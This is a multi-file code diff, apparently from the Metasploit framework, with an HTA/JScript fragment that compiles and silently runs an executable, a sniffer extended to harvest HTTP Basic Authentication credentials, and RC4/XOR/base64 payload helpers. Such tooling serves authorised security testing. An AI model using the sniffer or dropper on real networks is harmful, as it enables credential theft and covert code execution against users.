var objShell = new ActiveXObject("WScript.shell");
|
||||
var js_f = path + "\\\\<%= fname %>.js";
|
||||
var ex = path + "\\\\<%= fname %>.exe";
|
||||
|
||||
objShell.run(comPath + " /out:" + ex + " " + js_f);
|
||||
while(!fso.FileExists(ex)) { }
|
||||
|
||||
objShell.run(ex, 0);
|
||||
}
|
||||
</script>
|
Binary file not shown.
Binary file not shown.
|
@ -1,22 +1,24 @@
|
|||
# Psnuffle password sniffer add-on class for HTTP GET URL's
|
||||
# Psnuffle password sniffer add-on class for HTTP URLs
|
||||
# part of psnuffle sniffer auxiliary module
|
||||
#
|
||||
# Very simple example how to write sniffer extensions
|
||||
#
|
||||
|
||||
# Sniffer class for GET URL's
|
||||
#
|
||||
# Sniffer class for GET/POST URLs.
|
||||
# Also extracts HTTP Basic authentication credentials.
|
||||
#
|
||||
class SnifferURL < BaseProtocolParser
|
||||
def register_sigs
|
||||
self.sigs = {
|
||||
:get => /^GET\s+([^\n]+)\s+HTTP\/\d\.\d/i,
|
||||
:webhost => /^HOST\:\s+([^\n\r]+)/i,
|
||||
:get => /^GET\s+([^\n]+)\s+HTTP\/\d\.\d/i,
|
||||
:post => /^POST\s+([^\n]+)\s+HTTP\/\d\.\d/i,
|
||||
:webhost => /^HOST:\s+([^\n\r]+)/i,
|
||||
:basic_auth => /^Authorization:\s+Basic\s+([^\n\r]+)/i,
|
||||
}
|
||||
end
|
||||
|
||||
def parse(pkt)
|
||||
# We want to return immediantly if we do not have a packet which is handled by us
|
||||
# We want to return immediately if we do not have a packet which is handled by us
|
||||
return unless pkt.is_tcp?
|
||||
return if (pkt.tcp_sport != 80 and pkt.tcp_dport != 80)
|
||||
return if (pkt.tcp_sport != 80 && pkt.tcp_dport != 80)
|
||||
s = find_session((pkt.tcp_sport == 80) ? get_session_src(pkt) : get_session_dst(pkt))
|
||||
|
||||
self.sigs.each_key do |k|
|
||||
|
@ -34,10 +36,16 @@ class SnifferURL < BaseProtocolParser
|
|||
case matched
|
||||
when :webhost
|
||||
sessions[s[:session]].merge!({k => matches})
|
||||
if(s[:get])
|
||||
if s[:get]
|
||||
print_status("HTTP GET: #{s[:session]} http://#{s[:webhost]}#{s[:get]}")
|
||||
sessions.delete(s[:session])
|
||||
return
|
||||
end
|
||||
if s[:post]
|
||||
print_status("HTTP POST: #{s[:session]} http://#{s[:webhost]}#{s[:post]}")
|
||||
end
|
||||
if s[:basic_auth]
|
||||
s[:user], s[:pass] = Rex::Text.decode_base64(s[:basic_auth]).split(':', 2)
|
||||
report_auth_info s
|
||||
print_status "HTTP Basic Authentication: #{s[:session]} >> #{s[:user]} / #{s[:pass]}"
|
||||
end
|
||||
when nil
|
||||
# No matches, no saved state
|
||||
|
@ -45,4 +53,3 @@ class SnifferURL < BaseProtocolParser
|
|||
end # end of each_key
|
||||
end # end of parse
|
||||
end # end of URL sniffer
|
||||
|
||||
|
|
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,114 @@
|
|||
/* from https://github.com/mdornseif/didentd */
|
||||
/* public domain
|
||||
* BASE64 on stdin -> converted data on stdout */
|
||||
|
||||
/* arbitrary data on stdin -> BASE64 data on stdout
|
||||
* UNIX's newline convention is used, i.e. one ASCII control-j (10 decimal).
|
||||
*
|
||||
* public domain
|
||||
*/
|
||||
|
||||
/* Hacked by drt@un.bewaff.net to be a library function working on memory blocks
|
||||
*
|
||||
*/
|
||||
|
||||
static unsigned char alphabet[64] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
|
||||
|
||||
int base64decode(char *dest, const char *src, int l)
|
||||
{
|
||||
static char inalphabet[256], decoder[256];
|
||||
static bool table_initialized = false;
|
||||
int i, bits, c, char_count;
|
||||
int rpos;
|
||||
int wpos = 0;
|
||||
|
||||
if (!table_initialized) {
|
||||
for (i = (sizeof alphabet) - 1; i >= 0; i--) {
|
||||
inalphabet[alphabet[i]] = 1;
|
||||
decoder[alphabet[i]] = i;
|
||||
}
|
||||
table_initialized = true;
|
||||
}
|
||||
|
||||
char_count = 0;
|
||||
bits = 0;
|
||||
for (rpos = 0; rpos < l; rpos++) {
|
||||
c = src[rpos];
|
||||
|
||||
if (c == '=') {
|
||||
break;
|
||||
}
|
||||
|
||||
if (c > 255 || !inalphabet[c]) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
bits += decoder[c];
|
||||
char_count++;
|
||||
if (char_count < 4) {
|
||||
bits <<= 6;
|
||||
} else {
|
||||
dest[wpos++] = bits >> 16;
|
||||
dest[wpos++] = (bits >> 8) & 0xff;
|
||||
dest[wpos++] = bits & 0xff;
|
||||
bits = 0;
|
||||
char_count = 0;
|
||||
}
|
||||
}
|
||||
|
||||
switch (char_count) {
|
||||
case 1:
|
||||
return -1;
|
||||
break;
|
||||
case 2:
|
||||
dest[wpos++] = bits >> 10;
|
||||
break;
|
||||
case 3:
|
||||
dest[wpos++] = bits >> 16;
|
||||
dest[wpos++] = (bits >> 8) & 0xff;
|
||||
break;
|
||||
}
|
||||
|
||||
return wpos;
|
||||
}
|
||||
|
||||
int base64encode(char *dest, const char *src, int l)
|
||||
{
|
||||
int bits, c, char_count;
|
||||
int rpos;
|
||||
int wpos = 0;
|
||||
|
||||
char_count = 0;
|
||||
bits = 0;
|
||||
|
||||
for (rpos = 0; rpos < l; rpos++) {
|
||||
c = src[rpos];
|
||||
|
||||
bits += c;
|
||||
char_count++;
|
||||
if (char_count < 3) {
|
||||
bits <<= 8;
|
||||
} else {
|
||||
dest[wpos++] = alphabet[bits >> 18];
|
||||
dest[wpos++] = alphabet[(bits >> 12) & 0x3f];
|
||||
dest[wpos++] = alphabet[(bits >> 6) & 0x3f];
|
||||
dest[wpos++] = alphabet[bits & 0x3f];
|
||||
bits = 0;
|
||||
char_count = 0;
|
||||
}
|
||||
}
|
||||
|
||||
if (char_count != 0) {
|
||||
bits <<= 16 - (8 * char_count);
|
||||
dest[wpos++] = alphabet[bits >> 18];
|
||||
dest[wpos++] = alphabet[(bits >> 12) & 0x3f];
|
||||
if (char_count == 1) {
|
||||
dest[wpos++] = '=';
|
||||
dest[wpos++] = '=';
|
||||
} else {
|
||||
dest[wpos++] = alphabet[(bits >> 6) & 0x3f];
|
||||
dest[wpos++] = '=';
|
||||
}
|
||||
}
|
||||
return wpos;
|
||||
}
|
|
@ -0,0 +1,54 @@
|
|||
//
|
||||
// License:
|
||||
// https://github.com/rapid7/metasploit-framework/blob/master/LICENSE
|
||||
//
|
||||
|
||||
// This code was originally obtained and modified from the following source
|
||||
// by Bobin Verton:
|
||||
// https://gist.github.com/rverton/a44fc8ca67ab9ec32089
|
||||
|
||||
#define N 256 // 2^8
|
||||
|
||||
void swap(unsigned char *a, unsigned char *b) {
|
||||
int tmp = *a;
|
||||
*a = *b;
|
||||
*b = tmp;
|
||||
}
|
||||
|
||||
int KSA(char *key, unsigned char *S) {
|
||||
int len = strlen(key);
|
||||
int j = 0;
|
||||
|
||||
for (int i = 0; i < N; i++) {
|
||||
S[i] = i;
|
||||
}
|
||||
|
||||
for (int i = 0; i < N; i++) {
|
||||
j = (j + S[i] + key[i % len]) % N;
|
||||
swap(&S[i], &S[j]);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int PRGA(unsigned char *S, char *plaintext, unsigned char *ciphertext, int plainTextSize) {
|
||||
int i = 0;
|
||||
int j = 0;
|
||||
|
||||
for (size_t n = 0, len = plainTextSize; n < len; n++) {
|
||||
i = (i + 1) % N;
|
||||
j = (j + S[i]) % N;
|
||||
swap(&S[i], &S[j]);
|
||||
int rnd = S[(S[i] + S[j]) % N];
|
||||
ciphertext[n] = rnd ^ plaintext[n];
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int RC4(char *key, char *plaintext, unsigned char *ciphertext, int plainTextSize) {
|
||||
unsigned char S[N];
|
||||
KSA(key, S);
|
||||
PRGA(S, plaintext, ciphertext, plainTextSize);
|
||||
return 0;
|
||||
}
|
|
@ -6,6 +6,8 @@
|
|||
#define NULL ((void *)0)
|
||||
#define TRUE 1
|
||||
#define FALSE 0
|
||||
#define true 1
|
||||
#define false 0
|
||||
#define VOID void
|
||||
#define _tWinMain WinMain
|
||||
#define CALLBACK __stdcall
|
||||
|
@ -104,6 +106,7 @@ typedef void* LPCVOID;
|
|||
typedef ULONG_PTR DWORD_PTR;
|
||||
typedef void* HWND;
|
||||
typedef int BOOL;
|
||||
typedef int bool;
|
||||
typedef BOOL* PBOOL;
|
||||
typedef LONG_PTR LRESULT;
|
||||
typedef UINT_PTR WPARAM;
|
||||
|
|
|
@ -0,0 +1,11 @@
|
|||
//
|
||||
// License:
|
||||
// https://github.com/rapid7/metasploit-framework/blob/master/LICENSE
|
||||
//
|
||||
|
||||
void xor(char* dest, char* src, char key, int len) {
|
||||
for (int i = 0; i < len; i++) {
|
||||
char c = src[i] ^ key;
|
||||
dest[i] = c;
|
||||
}
|
||||
}
|
|
@ -1,7 +1,7 @@
|
|||
%clr
|
||||
______________________________________________________________________________
|
||||
| |
|
||||
| %bld%grnMETASPLOIT CYBER MISSILE COMMAND V4%clr |
|
||||
| %bld%grnMETASPLOIT CYBER MISSILE COMMAND V5%clr |
|
||||
|______________________________________________________________________________|
|
||||
%yel\%clr %yel/%clr %yel/%clr
|
||||
%yel\%clr . %yel/%clr %yel/%clr x
|
||||
|
@ -25,6 +25,6 @@
|
|||
#### %yel/%clr %yel\%clr %yel/%clr %yel\%clr %yel/%clr %yel\%clr ########### %yel/%clr %yel\%clr %yel/%clr %yel\%clr %yel/%clr %yel\%clr ####
|
||||
################################################################################
|
||||
################################################################################
|
||||
# %bldWAVE 4%clr ######## %bldSCORE 31337%clr ################################## %bldHIGH FFFFFFFF%clr #
|
||||
# %bldWAVE 5%clr ######## %bldSCORE 31337%clr ################################## %bldHIGH FFFFFFFF%clr #
|
||||
################################################################################
|
||||
https://metasploit.com%clr
|
||||
|
|
|
@ -14,10 +14,22 @@
|
|||
<%= normalize_platforms(items[:mod_platforms]) %>
|
||||
<% end %>
|
||||
|
||||
## Reliability
|
||||
## Module Ranking
|
||||
|
||||
<%= normalize_rank(items[:mod_rank]) %>
|
||||
|
||||
## Side Effects
|
||||
|
||||
<%= normalize_side_effects(items[:mod_side_effects]) %>
|
||||
|
||||
## Reliability
|
||||
|
||||
<%= normalize_reliability(items[:mod_reliability]) %>
|
||||
|
||||
## Stability
|
||||
|
||||
<%= normalize_stability(items[:mod_stability]) %>
|
||||
|
||||
## Related Pull Requests
|
||||
|
||||
<%= normalize_pull_requests(items[:mod_pull_requests]) %>
|
||||
|
|
|
@ -0,0 +1,6 @@
|
|||
```
|
||||
msf > use <%= mod.fullname %>
|
||||
msf <%= mod.type %>(<%= mod.shortname %>) > show options
|
||||
... show and set options ...
|
||||
msf <%= mod.type %>(<%= mod.shortname %>) > exploit
|
||||
```
|
|
@ -86241,6 +86241,7 @@ wharves
|
|||
what
|
||||
whatchamacallit
|
||||
whatever
|
||||
whatevers2009
|
||||
whatley
|
||||
whatnot
|
||||
whatshername
|
||||
|
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,66 @@
|
|||
require 'swagger/blocks'
|
||||
|
||||
module AuthApiDoc
|
||||
include Swagger::Blocks
|
||||
|
||||
MESSAGE_DESC = 'The status of the authentication request.'
|
||||
MESSAGE_EXAMPLE = 'Generated new API token.'
|
||||
TOKEN_DESC = 'The Authentication Bearer token'
|
||||
TOKEN_EXAMPLE = '899d2f45e12429d07427230289400a4594bcffe32169ebb826b4ffa9b90e1d1586f15fa42f069bb7'
|
||||
|
||||
# Swagger documentation for auth model
|
||||
swagger_schema :Auth do
|
||||
property :message, type: :string, description: MESSAGE_DESC, example: MESSAGE_EXAMPLE
|
||||
property :token, type: :string, description: TOKEN_DESC, example: TOKEN_EXAMPLE
|
||||
end
|
||||
|
||||
swagger_path '/api/v1/auth/generate-token' do
|
||||
# Swagger documentation for /api/v1/auth/generate-token GET
|
||||
operation :get do
|
||||
|
||||
key :description, 'Return a valid Authorization Bearer token.'
|
||||
key :tags, [ 'auth' ]
|
||||
|
||||
parameter do
|
||||
key :name, :username
|
||||
key :in, :query
|
||||
key :description, 'The username for the user you want to authenticate.'
|
||||
key :required, true
|
||||
key :type, :string
|
||||
end
|
||||
|
||||
parameter do
|
||||
key :name, :password
|
||||
key :in, :query
|
||||
key :description, 'The password for the user you want to authenticate.'
|
||||
key :required, true
|
||||
key :type, :string
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Returns a valid auth token.'
|
||||
schema do
|
||||
property :data do
|
||||
key :'$ref', :Auth
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, 'Invalid username or password. ' + RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -5,34 +5,105 @@ module CredentialApiDoc
|
|||
include Swagger::Blocks
|
||||
|
||||
ORIGIN_ID_DESC = 'The ID of the origin record associated with this credential.'
|
||||
ORIGIN_TYPE = 'The class name within Metasploit::Credential that indicates where this credential came from.'
|
||||
ORIGIN_TYPE_DESC = 'The class name within Metasploit::Credential that indicates where this credential came from.'
|
||||
PRIVATE_ID_DESC = 'The ID of the Metasploit::Credential::Private record associated with this credential.'
|
||||
PUBLIC_ID_DESC = 'The ID of the Metasploit::Credential::Public record associated with this credential.'
|
||||
REALM_ID_DESC = 'The ID of the Metasploit::Credential::Realm from where the credential was gathered.'
|
||||
LOGINS_COUNT_DESC = 'The number of successful login attempts that were completed using this credential.'
|
||||
ORIGIN_TYPE_ENUM = [
|
||||
ADDRESS_DESC = 'The IP address of the host this credential was collected from.'
|
||||
ADDRESS_EXAMPLE = '127.0.0.1'
|
||||
SERVICE_NAME_DESC = 'The name of the service from which this credential was collected from.'
|
||||
SERVICE_NAME_EXAMPLE = 'ssh'
|
||||
PORT_DESC = 'The port on which the service was listening where this credential was collected from.'
|
||||
PORT_EXAMPLE = '22'
|
||||
PROTOCOL_DESC = 'The protocol the service was using.'
|
||||
PROTOCOL_ENUM = [ 'tcp', 'udp' ]
|
||||
MODULE_FULLNAME_DESC = 'The full name of the Metasploit module that was used to collect this credential.'
|
||||
MODULE_FULLNAME_EXAMPLE = 'auxiliary/scanner/smb/smb_login'
|
||||
FILENAME_DESC = 'The filename of the file that was imported. This is necessary when the origin_type is import.'
|
||||
FILENAME_EXAMPLE = '/etc/shadow'
|
||||
POST_REFERENCE_NAME_DESC = 'The reference name of the Metasploit Post module used to collect this credential.'
|
||||
POST_REFERENCE_NAME_EXAMPLE = 'post/linux/gather/hashdump'
|
||||
SESSION_ID_DESC = 'The ID of the session where this credential was collected from.'
|
||||
USERNAME_DESC = 'The username for this credential.'
|
||||
USERNAME_EXAMPLE = 'administrator'
|
||||
PUBLIC_TYPE_DESC = 'The type of username that this falls into. This is used for searching for similar credentials.'
|
||||
PRIVATE_TYPE_DESC = 'The type of password data for this credential.'
|
||||
DATA_DESC = 'The private data for this credential. The semantic meaning of this data varies based on the type.'
|
||||
DATA_EXAMPLE = "'password123', '$1$5nfRD/bA$y7ZZD0NimJTbX9FtvhHJX1', or '$NT$7f8fe03093cc84b267b109625f6bbf4b'"
|
||||
JTR_FORMAT_DESC = 'Comma-separated list of the formats for John the ripper to use to try and crack this.'
|
||||
JTR_FORMAT_EXAMPLE = 'md5,des,bsdi,crypt'
|
||||
PUBLIC_TYPE_ENUM = [ 'Metasploit::Credential::BlankUsername', 'Metasploit::Credential::Username' ]
|
||||
PRIVATE_TYPE_CLASS_ENUM = [
|
||||
'Metasploit::Credential::ReplayableHash',
|
||||
'Metasploit::Credential::NonreplayableHash',
|
||||
'Metasploit::Credential::NTLMHash',
|
||||
'Metasploit::Credential::Password',
|
||||
'Metasploit::Credential::PasswordHash',
|
||||
'Metasploit::Credential::SSHKey',
|
||||
'Metasploit::Credential::PostgresMD5',
|
||||
'Metasploit::Credential::BlankPassword'
|
||||
]
|
||||
PRIVATE_TYPE_ENUM = [
|
||||
'password',
|
||||
'ssh_key',
|
||||
'ntlm_hash',
|
||||
'postgres_md5',
|
||||
'nonreplayable_hash',
|
||||
'<blank>'
|
||||
]
|
||||
ORIGIN_TYPE_CLASS_ENUM = [
|
||||
'Metasploit::Credential::Origin::Import',
|
||||
'Metasploit::Credential::Origin::Manual',
|
||||
'Metasploit::Credential::Origin::Service',
|
||||
'Metasploit::Credential::Origin::Session'
|
||||
]
|
||||
ORIGIN_TYPE_ENUM = [
|
||||
'import',
|
||||
'manual',
|
||||
'service',
|
||||
'session'
|
||||
]
|
||||
|
||||
|
||||
# Swagger documentation for Credential model
|
||||
swagger_schema :Credential do
|
||||
key :required, [:origin_id]
|
||||
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
|
||||
property :origin_id, type: :integer, format: :int32, description: ORIGIN_ID_DESC
|
||||
property :origin_type, type: :string, description: ORIGIN_TYPE, enum: ORIGIN_TYPE_ENUM
|
||||
property :origin_type, type: :string, description: ORIGIN_TYPE_DESC, enum: ORIGIN_TYPE_CLASS_ENUM
|
||||
property :private_id, type: :integer, format: :int32, description: PRIVATE_ID_DESC
|
||||
property :public_id, type: :integer, format: :int32, description: PUBLIC_ID_DESC
|
||||
property :realm_id, type: :integer, format: :int32, description: REALM_ID_DESC
|
||||
property :workspace_id, type: :integer, format: :int32, description: RootApiDoc::WORKSPACE_ID_DESC
|
||||
property :workspace_id, type: :integer, format: :int32, required: true, description: RootApiDoc::WORKSPACE_ID_DESC
|
||||
property :logins_count, type: :integer, format: :int32, description: LOGINS_COUNT_DESC
|
||||
property :logins do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Login
|
||||
end
|
||||
end
|
||||
property :public, '$ref': :Public
|
||||
property :private, '$ref': :Private
|
||||
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
|
||||
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
|
||||
end
|
||||
|
||||
swagger_schema :Public do
|
||||
key :required, [:username, :type]
|
||||
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
|
||||
property :username, type: :string, description: USERNAME_DESC, example: USERNAME_EXAMPLE
|
||||
property :type, type: :string, description: PUBLIC_TYPE_DESC, enum: PUBLIC_TYPE_ENUM
|
||||
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
|
||||
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
|
||||
end
|
||||
|
||||
swagger_schema :Private do
|
||||
key :required, [:data, :type]
|
||||
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
|
||||
property :data, type: :string, description: DATA_DESC, example: DATA_EXAMPLE
|
||||
property :type, type: :string, description: PRIVATE_TYPE_DESC, enum: PRIVATE_TYPE_CLASS_ENUM
|
||||
property :jtr_format, type: :string, description: JTR_FORMAT_DESC, example: JTR_FORMAT_EXAMPLE
|
||||
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
|
||||
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
|
||||
end
|
||||
|
@ -46,53 +117,69 @@ module CredentialApiDoc
|
|||
parameter :workspace
|
||||
|
||||
parameter do
|
||||
key :in, :body
|
||||
key :name, :body
|
||||
key :required, true
|
||||
schema do
|
||||
property :svcs do
|
||||
key :in, :body
|
||||
key :description, 'Only return credentials of the specified service.'
|
||||
key :type, :array
|
||||
key :required, false
|
||||
items do
|
||||
key :type, :string
|
||||
end
|
||||
end
|
||||
|
||||
property :ptype do
|
||||
key :in, :body
|
||||
key :description, 'The type of credential to return.'
|
||||
key :type, :string
|
||||
key :required, false
|
||||
key :enum, ['password','ntlm','hash']
|
||||
end
|
||||
|
||||
property :user do
|
||||
key :in, :body
|
||||
key :description, 'Only return credentials where the user matches this regex.'
|
||||
key :type, :string
|
||||
key :required, false
|
||||
end
|
||||
|
||||
property :pass do
|
||||
key :in, :body
|
||||
key :description, 'Only return credentials where the password matches this regex.'
|
||||
key :type, :string
|
||||
key :required, false
|
||||
end
|
||||
key :in, :query
|
||||
key :name, :svcs
|
||||
key :description, 'Only return credentials of the specified service.'
|
||||
key :example, ['ssh', 'owa', 'smb']
|
||||
key :type, :array
|
||||
key :required, false
|
||||
items do
|
||||
key :type, :string
|
||||
end
|
||||
end
|
||||
|
||||
parameter do
|
||||
key :in, :query
|
||||
key :name, :type
|
||||
key :description, 'The type of credential to return.'
|
||||
key :type, :string
|
||||
key :required, false
|
||||
key :enum, PRIVATE_TYPE_CLASS_ENUM
|
||||
end
|
||||
|
||||
parameter do
|
||||
key :in, :query
|
||||
key :name, :user
|
||||
key :description, 'Only return credentials where the user matches this regex.'
|
||||
key :example, 'administrator'
|
||||
key :type, :string
|
||||
key :required, false
|
||||
end
|
||||
|
||||
parameter do
|
||||
key :in, :query
|
||||
key :name, :pass
|
||||
key :description, 'Only return credentials where the password matches this regex.'
|
||||
key :example, 'password123'
|
||||
key :type, :string
|
||||
key :required, false
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Returns credential data.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Credential
|
||||
property :data do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Credential
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/credentials POST
|
||||
|
@ -105,99 +192,163 @@ module CredentialApiDoc
|
|||
key :name, :body
|
||||
key :description, 'The attributes to assign to the credential.'
|
||||
key :required, true
|
||||
schema do
|
||||
property :workspace_id, type: :integer, format: :int32, required: true, description: RootApiDoc::WORKSPACE_ID_DESC
|
||||
property :username, type: :string, description: USERNAME_DESC, example: USERNAME_EXAMPLE
|
||||
property :private_data, type: :string, description: DATA_DESC, example: DATA_EXAMPLE
|
||||
property :private_type, type: :string, description: PRIVATE_TYPE_DESC, enum: PRIVATE_TYPE_ENUM
|
||||
property :jtr_format, type: :string, description: JTR_FORMAT_DESC, example: JTR_FORMAT_EXAMPLE
|
||||
property :address, type: :string, format: :ipv4, required: true, description: ADDRESS_DESC, example: ADDRESS_EXAMPLE
|
||||
property :port, type: :int32, format: :int32, description: PORT_DESC, example: PORT_EXAMPLE
|
||||
property :service_name, type: :string, description: SERVICE_NAME_DESC, example: SERVICE_NAME_EXAMPLE
|
||||
property :protocol, type: :string, description: PROTOCOL_DESC, enum: PROTOCOL_ENUM
|
||||
property :origin_type, type: :string, description: ORIGIN_TYPE_DESC, enum: ORIGIN_TYPE_ENUM
|
||||
property :module_fullname, type: :string, description: MODULE_FULLNAME_DESC, example: MODULE_FULLNAME_EXAMPLE
|
||||
property :filename, type: :string, description: FILENAME_DESC, example: FILENAME_EXAMPLE
|
||||
property :session_id, type: :integer, format: :int32, description: SESSION_ID_DESC
|
||||
property :post_reference_name, type: :string, description: POST_REFERENCE_NAME_DESC, example: POST_REFERENCE_NAME_EXAMPLE
|
||||
end
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
property :data do
|
||||
key :'$ref', :Credential
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/credentials/ DELETE
|
||||
operation :delete do
|
||||
key :description, 'Delete the specified credentials.'
|
||||
key :tags, [ 'credential' ]
|
||||
|
||||
parameter :delete_opts
|
||||
|
||||
response 200 do
|
||||
key :description, 'Returns an array containing the successfully deleted credentials.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Credential
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
swagger_path '/api/v1/credentials/{id}' do
|
||||
# Swagger documentation for api/v1/credentials/:id GET
|
||||
operation :get do
|
||||
key :description, 'Return credential that is stored in the database.'
|
||||
key :tags, [ 'credential' ]
|
||||
|
||||
parameter :workspace
|
||||
parameter :non_dead
|
||||
parameter :address
|
||||
|
||||
parameter do
|
||||
key :name, :id
|
||||
key :in, :path
|
||||
key :description, 'ID of credential to retrieve.'
|
||||
key :required, true
|
||||
key :type, :integer
|
||||
key :format, :int32
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Returns credential data.'
|
||||
schema do
|
||||
property :data do
|
||||
key :'$ref', :Credential
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#Swagger documentation for /api/v1/credentials/:id PUT
|
||||
operation :put do
|
||||
key :description, 'Update the attributes an existing credential.'
|
||||
key :tags, [ 'credential' ]
|
||||
|
||||
parameter :update_id
|
||||
|
||||
parameter do
|
||||
key :in, :body
|
||||
key :name, :body
|
||||
key :description, 'The updated attributes to overwrite to the credential.'
|
||||
key :required, true
|
||||
schema do
|
||||
key :'$ref', :Credential
|
||||
end
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
key :type, :object
|
||||
key :'$ref', :Credential
|
||||
property :data do
|
||||
key :'$ref', :Credential
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# This endpoint is NYI.
|
||||
#
|
||||
# # Swagger documentation for /api/v1/credentials/ DELETE
|
||||
# operation :delete do
|
||||
# key :description, 'Delete the specified credentials.'
|
||||
# key :tags, [ 'credential' ]
|
||||
#
|
||||
# parameter :delete_opts
|
||||
#
|
||||
# response 200 do
|
||||
# key :description, 'Successful operation'
|
||||
# schema do
|
||||
# key :type, :array
|
||||
# items do
|
||||
# key :'$ref', :Credential
|
||||
# end
|
||||
# end
|
||||
# end
|
||||
# end
|
||||
end
|
||||
|
||||
# This endpoint is NYI.
|
||||
#
|
||||
# swagger_path '/api/v1/credentials/:id' do
|
||||
# # Swagger documentation for api/v1/credentials/:id GET
|
||||
# operation :get do
|
||||
# key :description, 'Return credentials that are stored in the database.'
|
||||
# key :tags, [ 'credential' ]
|
||||
#
|
||||
# parameter :workspace
|
||||
# parameter :non_dead
|
||||
# parameter :address
|
||||
#
|
||||
# parameter do
|
||||
# key :name, :id
|
||||
# key :in, :path
|
||||
# key :description, 'ID of credential to retrieve'
|
||||
# key :required, true
|
||||
# key :type, :integer
|
||||
# key :format, :int32
|
||||
# end
|
||||
#
|
||||
# response 200 do
|
||||
# key :description, 'Returns credential data'
|
||||
# schema do
|
||||
# key :type, :array
|
||||
# items do
|
||||
# key :'$ref', :Credential
|
||||
# end
|
||||
# end
|
||||
# end
|
||||
# end
|
||||
|
||||
# This endpoint is NYI.
|
||||
#
|
||||
# Swagger documentation for /api/v1/credentials/:id PUT
|
||||
# operation :put do
|
||||
# key :description, 'Update the attributes an existing credential.'
|
||||
# key :tags, [ 'credential' ]
|
||||
#
|
||||
# parameter :update_id
|
||||
#
|
||||
# parameter do
|
||||
# key :in, :body
|
||||
# key :name, :body
|
||||
# key :description, 'The updated attributes to overwrite to the credential'
|
||||
# key :required, true
|
||||
# schema do
|
||||
# key :'$ref', :Credential
|
||||
# end
|
||||
# end
|
||||
#
|
||||
# response 200 do
|
||||
# key :description, 'Successful operation'
|
||||
# schema do
|
||||
# key :type, :object
|
||||
# key :'$ref', :Credential
|
||||
# end
|
||||
# end
|
||||
# end
|
||||
#end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -28,11 +28,27 @@ module DbExportApiDoc
|
|||
response 200 do
|
||||
